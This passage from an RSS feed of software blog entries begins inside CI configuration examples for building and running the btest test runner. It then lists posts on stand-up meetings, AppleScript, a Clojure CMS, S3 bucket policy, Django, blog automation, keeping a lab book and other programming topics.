&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clone&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="n"&gt;github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;com&lt;/span&gt;&lt;span class="sr"&gt;/briansteffens/&lt;/span&gt;&lt;span class="n"&gt;btest&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;btest&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;make&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;make&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bsdscheme&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;make&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;make&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Run&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bsdscheme&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;btest&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="travis-ci"&gt;Travis CI&lt;/h4&gt;&lt;p&gt;This is the
&lt;a href="https://github.com/briansteffens/bshift/blob/master/.travis.yml"&gt;config&lt;/a&gt;
Brian uses for testing BShift:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;required&lt;/span&gt;

&lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;

&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ldc&lt;/span&gt;

&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ldc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gets&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;installed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;names&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sometimes&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ln&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;which&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;$DC&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/usr/local/bin/&lt;/span&gt;&lt;span class="n"&gt;ldc&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bshift&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;make&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ln&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;$PWD&lt;/span&gt;&lt;span class="sr"&gt;/bin/bshift /usr/local/bin/&lt;/span&gt;&lt;span class="n"&gt;bshift&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ln&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;$PWD&lt;/span&gt;&lt;span class="sr"&gt;/lib /usr/local/lib/&lt;/span&gt;&lt;span class="n"&gt;bshift&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nasm&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;apt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nasm&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;basm&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clone&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="n"&gt;github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;com&lt;/span&gt;&lt;span class="sr"&gt;/briansteffens/&lt;/span&gt;&lt;span class="n"&gt;basm&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;basm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cabal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ln&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;$PWD&lt;/span&gt;&lt;span class="sr"&gt;/basm/dist/build/basm/basm /usr/local/bin/&lt;/span&gt;&lt;span class="n"&gt;basm&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;btest&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clone&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="n"&gt;github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;com&lt;/span&gt;&lt;span class="sr"&gt;/briansteffens/&lt;/span&gt;&lt;span class="n"&gt;btest&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;btest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;make&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;make&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;btest&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;</description><author>Notes on software development</author><pubDate>Sat, 04 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">http://notes.eatonphil.com/btest-a-language-agnostic-test-runner.html</guid></item><item><title>Anatomy of a Random Number Generator</title><link>https://www.masswerk.at/nowgobang/2018/anatomy-of-an-rng</link><description>Tales from the realms of software archeology.</description><author>mass:werk – Now Go Bang!</author><pubDate>Fri, 03 Aug 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://www.masswerk.at/nowgobang/2018/anatomy-of-an-rng</guid></item><item><title>Scrum stand-ups prevent you from doing your best work, and they do that every day</title><link>https://www.databasesandlife.com/standup-vs-workers-schedule/</link><description>&lt;p&gt;Back in 2010 I worked for a company that had daily stand-ups at 10am every day.
That&amp;rsquo;s fairly standard practice, so I found it difficult to complain about.
I was never enthusiastic about these meetings, but could never put my finger on why.
Recently I realized it was a combination of these factors:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;You get paid for your best ideas.&lt;/strong&gt; Nobody hires anyone to go to meetings, and people don&amp;rsquo;t hire me to just pump out screens or mediocre software. At a customer last year, I had the idea that what they were really trying to build was a distributed software system over an unreliable network. I realized that their synchronous data access approach was not going to work. My architecture proposal was an asynchronous approach; that&amp;rsquo;s online now, and they&amp;rsquo;re thankful for that idea.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Fri, 03 Aug 2018 12:39:04 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/standup-vs-workers-schedule/</guid></item><item><title>Four Steps To Write An OSX AppleScript to Gather ALL Windows</title><link>https://www.mattcrampton.com/blog/applescript_to_gather_all_windows_on_osx/</link><description>Four Steps To Write An AppleScript to Gather ALL Windows on OSX I have no idea why, but there is no built-in way to gather ALL your desktop windows (from all applications) onto your main display window. There are some apps out there that will do it for each individual application but nothing that I've been able to find that will do it for all windows from all applications at once. And it doesn't look like I'm alone in wanting something like this. See all these threads out there... "Gather windows" for all apps? - Apple Community macOS: Bring Off-Screen Window Back Onto Screen - Technipages how to rescue windows from off the screen? Anyway, lets build a simple AppleScript that loops through all your open applications and moves all their (non-minimized) windows to a specific x,y position on your screen and (optionally) resize them. Step #1 - Fire up the OSX Script Editor OSX comes with its own built in AppleScript editor called "Script Editor". You can find it under Applications &amp;gt; ...</description><author>MattCrampton.com</author><pubDate>Fri, 03 Aug 2018 08:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mattcrampton.com/blog/applescript_to_gather_all_windows_on_osx/</guid></item><item><title>Rhinowiki</title><link>https://mschaef.com/rhinowiki</link><description>&lt;p&gt;It's been a long time coming, but I've finally replaced &lt;a href="http://blosxom.sourceforge.net/"&gt;blosxom&lt;/a&gt; with a &lt;em&gt;custom CMS&lt;/em&gt; I've been writing called &lt;a href="https://github.com/mschaef/rhinowiki"&gt;Rhinowiki&lt;/a&gt;. More than a serious attempt at a CMS, this is mainly a fun little side project to write some &lt;a href="https://clojure.org/"&gt;Clojure&lt;/a&gt;, experiment a bit with &lt;a href="https://www.eclipse.org/jgit/"&gt;JGit&lt;/a&gt;, and hopefully make it easier to implement a few of my longer term plans that might have been tricky to do in straight Perl.&lt;/p&gt;&lt;p&gt;Full source in the link above, a high level summary here:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Everything is in &lt;a href="https://clojure.org/"&gt;Clojure&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Backend format is &lt;a href="https://daringfireball.net/projects/markdown/"&gt;Markdown&lt;/a&gt; as interpreted by &lt;a href="https://github.com/yogthos/markdown-clj"&gt;&lt;code&gt;markdown-clj&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Source code is highlighted using &lt;a href="https://highlightjs.org/"&gt;&lt;code&gt;highlight.js&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Markdown rendering is done entirely on the server, with syntax highlighting on the client.  (I'm looking into &lt;a href="http://openjdk.java.net/projects/nashorn/"&gt;Nashorn&lt;/a&gt; to run &lt;code&gt;highlight.js&lt;/code&gt; server side too, but don't know if that's possible within my time constraints.)&lt;/li&gt;&lt;li&gt;Back end storage is managed using  and retrieved via &lt;a href="https://www.eclipse.org/jgit/"&gt;JGit&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;All requests are served out of memory.&lt;/li&gt;&lt;li&gt;There's a &lt;a href="https://github.com/mschaef/rhinowiki/blob/master/src/rhinowiki/atom.clj"&gt;hand rolled&lt;/a&gt; (and conformant) &lt;a href="https://tools.ietf.org/html/rfc4287"&gt;Atom&lt;/a&gt; feed.&lt;/li&gt;&lt;li&gt;&lt;a href="https://github.com/mschaef/rhinowiki/blob/master/src/rhinowiki/rss.clj"&gt;Also&lt;/a&gt; &lt;a href="http://cyber.harvard.edu/rss/rss.html"&gt;RSS 2.0&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;</description><author>Mike Schaeffer</author><pubDate>Fri, 03 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://mschaef.com/rhinowiki</guid></item><item><title>Bucket Policy for your Public S3 Bucket</title><link>https://badshah.io/blog/bucket-policy-for-your-public-s3-bucket/</link><description>Recently I came across multiple AWS S3 buckets with directory listing enabled. The content in the buckets ranged from simple images &amp;amp; js files to images of aadhaar ID, PAN cards, etc.
Whats the reason ? Security is a non-functional requirement of business. What I have seen so far is that if a developer gets an idea, he/she will work to implement the idea without thinking much about the security of the product.</description><author>Chandrapal Badshah | Cloud Security Consultant for Startups on Chandrapal Badshah</author><pubDate>Thu, 02 Aug 2018 21:30:00 GMT</pubDate><guid isPermaLink="true">https://badshah.io/blog/bucket-policy-for-your-public-s3-bucket/</guid></item><item><title>Software vs. your rights and quality of life, revisited</title><link>https://stop.zona-m.net/2018/08/software-vs.-your-rights-and-quality-of-life-revisited/</link><description>&lt;p&gt;I have been saying for at least twelve years that &lt;a href="http://mfioretti.com/about/"&gt;your civil rights and the quality of your life depend on how software is used AROUND you&lt;/a&gt;. In July 2018, I found the same concept expressed very well by somebody else.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 02 Aug 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/08/software-vs.-your-rights-and-quality-of-life-revisited/</guid></item><item><title>Not xkcd: Failing the Nerd-Test</title><link>https://www.masswerk.at/nowgobang/2018/failing-the-nerd-test</link><description>Yet another tech related internet cartoon.</description><author>mass:werk – Now Go Bang!</author><pubDate>Thu, 02 Aug 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://www.masswerk.at/nowgobang/2018/failing-the-nerd-test</guid></item><item><title>Queryset.explain() released in Django 2.1</title><link>https://tomforb.es/blog/queryset-explain-released-in-django/</link><description>While working on any large-ish Django project you are bound to come across a slow query that’s perhaps missing an index or doing something else expensive. My workflow for diagnosing this was to get the query that is being executed ( str(queryset.query) ) and paste it into a database shell, prefixing...</description><author>Tom Forbes</author><pubDate>Wed, 01 Aug 2018 22:29:29 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/queryset-explain-released-in-django/</guid></item><item><title>Automatic announcement of new blog entries</title><link>https://qubyte.codes/blog/automatic-announcement-of-new-blog-entries</link><description>&lt;p&gt;It occurred to me a couple of days ago that it'd be neat to build a glitch to
announce new blog posts. Since I deploy this blog by pushing to a master branch
on GitHub, creation of a blog post is somewhat less obvious than when publishing
on a platform like wordpress or medium, so I needed to figure out another
approach.&lt;/p&gt;
&lt;p&gt;As part of the build process this blog generates a sitemap. All blog entries
hang off of the &lt;code&gt;/blog&lt;/code&gt; path, so it's not difficult to filter the sitemap down
to only blog entires. By comparing a sitemap before and after deployment, it's
possible to know when one or more entries have been added, and should be
tweeted!&lt;/p&gt;
&lt;p&gt;Glitch is a natural fit for this. It gives you a little persistent storage (a
directory called &lt;code&gt;.data&lt;/code&gt;), which can be used to stash the sitemap after each
time it gets triggered.&lt;/p&gt;
&lt;p&gt;In depth...&lt;/p&gt;
&lt;h2 id="step-1-commits-are-pushed"&gt;Step 1: Commits are pushed&lt;/h2&gt;
&lt;p&gt;As was the case before this enhancement, I push to deploy. This process starts
with me creating or editing a post, committing it, and then pushing it to the
master branch on GitHub.&lt;/p&gt;
&lt;p&gt;GitHub then dispatches a notification to Netlify.&lt;/p&gt;
&lt;h2 id="step-2-netlify-receives-a-notification"&gt;Step 2: Netlify receives a notification&lt;/h2&gt;
&lt;p&gt;Netlify is configured to build and deploy the blog each time it gets a
notification from GitHub that the master branch has changed. It builds and
deploys the blog.&lt;/p&gt;
&lt;p&gt;The new part is that a &lt;a href="https://www.netlify.com/docs/webhooks/#outgoing-webhooks-and-notifications"&gt;notification&lt;/a&gt; is configured to send a POST to glitch
when a deploy succeeds.&lt;/p&gt;
&lt;h2 id="step-3-a-glitch-app-receives-a-notification"&gt;Step 3: A glitch app receives a notification&lt;/h2&gt;
&lt;p&gt;I built &lt;a href="https://glitch.com/~tweet-new-blog-posts"&gt;this glitch app&lt;/a&gt; to receive and verify POSTs from Netlify. Netlify
uses a JSON web token, and validation is done by shared secret. When the request
is validated, its context (a field on the JSON body of the request) is checked.
This is so that only the production deploy is acted upon, and not branch
deploys.&lt;/p&gt;
&lt;p&gt;For valid POSTs with a production context, the app makes a request for the
&lt;a href="/sitemap.txt"&gt;sitemap&lt;/a&gt; of this blog, and loads the previous sitemap from its
&lt;code&gt;.data&lt;/code&gt; directory. Both are filtered down to only blog posts, and compared for
new entries. The new sitemap is saved in place of the old one.&lt;/p&gt;
&lt;p&gt;Finally, each new blog post is formatted as a tweet, and posted to twitter!&lt;/p&gt;
&lt;h2 id="lessons"&gt;Lessons&lt;/h2&gt;
&lt;p&gt;While it's pretty cool to automate things using webhooks (glitch in particular
shines for this use-case), the thing which really stood out was how the sitemap
made it all fairly straight forward. Originally I added the sitemap almost as an
afterthought, since it was cheap to do with a template and is good for search
engines. I'm glad I made it a newline separated list rather than an XML
monstrosity because it's so easy to parse this way.&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Wed, 01 Aug 2018 21:40:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/automatic-announcement-of-new-blog-entries</guid></item><item><title>Keeping a Lab Book</title><link>https://bastian.rieck.me/blog/2018/lab_book/</link><description>&lt;p&gt;When I joined my &lt;a href="https://www.bsse.ethz.ch/mlcb"&gt;new lab&lt;/a&gt; at the
beginning of this year, I was very happy to see that researchers in the
biomedical sciences already do what &lt;em&gt;every&lt;/em&gt; scholar needs to do, namely
keeping a lab book. It is not only a good way to structure your
thoughts, it will also give you an opportunity to go back in time, track
your work, and even provide summaries of your work day to your
supervisor.&lt;/p&gt;
&lt;h1 id="my-setup"&gt;My setup&lt;/h1&gt;
&lt;p&gt;I actually keep &lt;em&gt;two&lt;/em&gt; lab books. One is a “Moleskine Classic
Notebook” that I use to scribble down thoughts, write out proof
ideas, sketches, and anything else that tickles my fancy. The advantage
of this old-school way of keeping notes is that I am independent of any
technology, making it possible to quickly jot down something in almost
any situation. Doing anything electronically here would just raise the
bar for taking down an idea or a sketch. If I need my notes in
a searchable form, I can always scan and OCR them—but so far,
there was never a need for that, and I fear that most OCR software would
be unable to decipher my handwriting even if I endeavour to write well.&lt;/p&gt;
&lt;p&gt;For the second lab book, I use a &lt;a href="https://daringfireball.net/projects/markdown/syntax"&gt;Markdown&lt;/a&gt;
document. While there is technically not a formal specification of this
format, it is reasonably simple to parse, easy to look at (even if
your editor is incapable of parsing it directly) and can be transformed
into a variety of other formats. Being a big proponent of LaTeX, the
idea of separating content and layout (or rendering) resonates well
with me. I keep this second document under version control using &lt;code&gt;git&lt;/code&gt;,
which is another bonus of text-only formats. Even after a few weeks on
the road, I can thus easily synchronize any changes to other computers.&lt;/p&gt;
&lt;h1 id="the-format"&gt;The format&lt;/h1&gt;
&lt;p&gt;Most of my entries are roughly arranged based on their corresponding
project. Hence, all first-level headers in my lab book are project
names. I also have special section “Dormant” for projects
that are, well, &lt;em&gt;dormant&lt;/em&gt;. The second-level headers are dates, specified
in &lt;code&gt;YY-MM-DD&lt;/code&gt; format. This makes it easy for me to figure out what I did
on a specific date. Apart from that, I use sub-sub-sections and so on
whenever I deem it appropriate. This is how it might look:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Project 1
=========

2018-08-01
----------

Added `foo` widget. Refactored code for `bar` class, but ran into
troubles with function `baz()`.

Project 2
=========

2018-08-01
----------

Read paper on topic 1. Checked out example.com for some additional
results. Loss term in appendix is not sufficiently explained. Need
to follow up on this.
&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id="vim-integration"&gt;&lt;code&gt;vim&lt;/code&gt; integration&lt;/h1&gt;
&lt;p&gt;If you are a &lt;code&gt;vim&lt;/code&gt; user, there are several plugins that make working
with Markdown easier. The obvious choice for syntax highlighting is
Tim Pope&amp;rsquo;s &lt;a href="https://github.com/tpope/vim-markdown"&gt;&lt;code&gt;vim-markdown&lt;/code&gt;&lt;/a&gt;.
The one I found most useful is &lt;a href="https://github.com/vim-voom/VOoM"&gt;VOoM&lt;/a&gt;.
This plugin gives you a &lt;em&gt;second&lt;/em&gt; pane for many document types (not
only Markdown!) in which you can easily see the document structure,
jump to specific sections, and so on. To make VOoM detect the file
type automatically, add this to your &lt;code&gt;.vimrc&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let g:voom_ft_modes = {'markdown': 'markdown'}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will make the plugin aware of any Markdown document. Use the
command &lt;code&gt;:Voom&lt;/code&gt; to create an outline of your document. This can be
toggled with &lt;code&gt;:VoomToggle&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That’s it—a short and simple way of keeping a lab book.
Until next time!&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Wed, 01 Aug 2018 18:24:21 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2018/lab_book/</guid></item><item><title>The Largest Open Goal In Cyber Security</title><link>https://blog.eutopian.io/the-largest-open-goal-in-cyber-security/</link><description>1000 words, 4 minutes. &amp;ldquo;But how was one to explain repeated instances of derisive laughter at melodramas and films that hardly set out to be funny?&amp;quot; - Prof. Eric Rentschler1
 Out of place laughter is an anarchist in the dark. Someone who refuses to let the film cast its spell.
 Imagery is important. Moving or still. Whether it be religious iconography, depictions of national myth, a coat of arms, a rallying military standard, your company&amp;rsquo;s brand, or something as incidental as clip art.</description><author>Privacy, Power, &amp;amp; Protection In The Cyber Century</author><pubDate>Wed, 01 Aug 2018 13:00:30 GMT</pubDate><guid isPermaLink="true">https://blog.eutopian.io/the-largest-open-goal-in-cyber-security/</guid></item><item><title>My Own Car System, Rear Camera, Offline Maps &amp;amp; Routing, Map Matching with Go on Raspberry Pi part II</title><link>https://blog.nobugware.com/post/2018/my_own_car_system_raspberry_pi_offline_mapping_map_matching_places_part2/</link><description>This is my journey building an open source car system with Go &amp;amp; Qt, rear camera, live OpenGL map &amp;hellip;
Cross compilation In Part I, I had to patch qtmultimedia for the camera to work, but Qt compilation is resource hungry, same goes for the osrm compilation, the memory of the Raspberry Pi is too small.
I had to to set up a cross compilation system in my case for armv7h.</description><author>Fabrice Aneche</author><pubDate>Wed, 01 Aug 2018 05:19:57 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2018/my_own_car_system_raspberry_pi_offline_mapping_map_matching_places_part2/</guid></item><item><title>Singapore H1B1 Tips</title><link>https://www.swyx.io/h1b1</link><description>&lt;h2&gt;much of the original piece below is outdated. this is my remaining 2023 updates for fellow singaporeans.&lt;/h2&gt;</description><author>swyx's site RSS Feed</author><pubDate>Wed, 01 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/h1b1</guid></item><item><title>Bitfi’s Hardware Wallet is Terrible</title><link>https://rya.nc/bitfi-wallet.html</link><description>&lt;!-- included from `include/globals.rst` --&gt;
&lt;p&gt;It recently came to my attention that
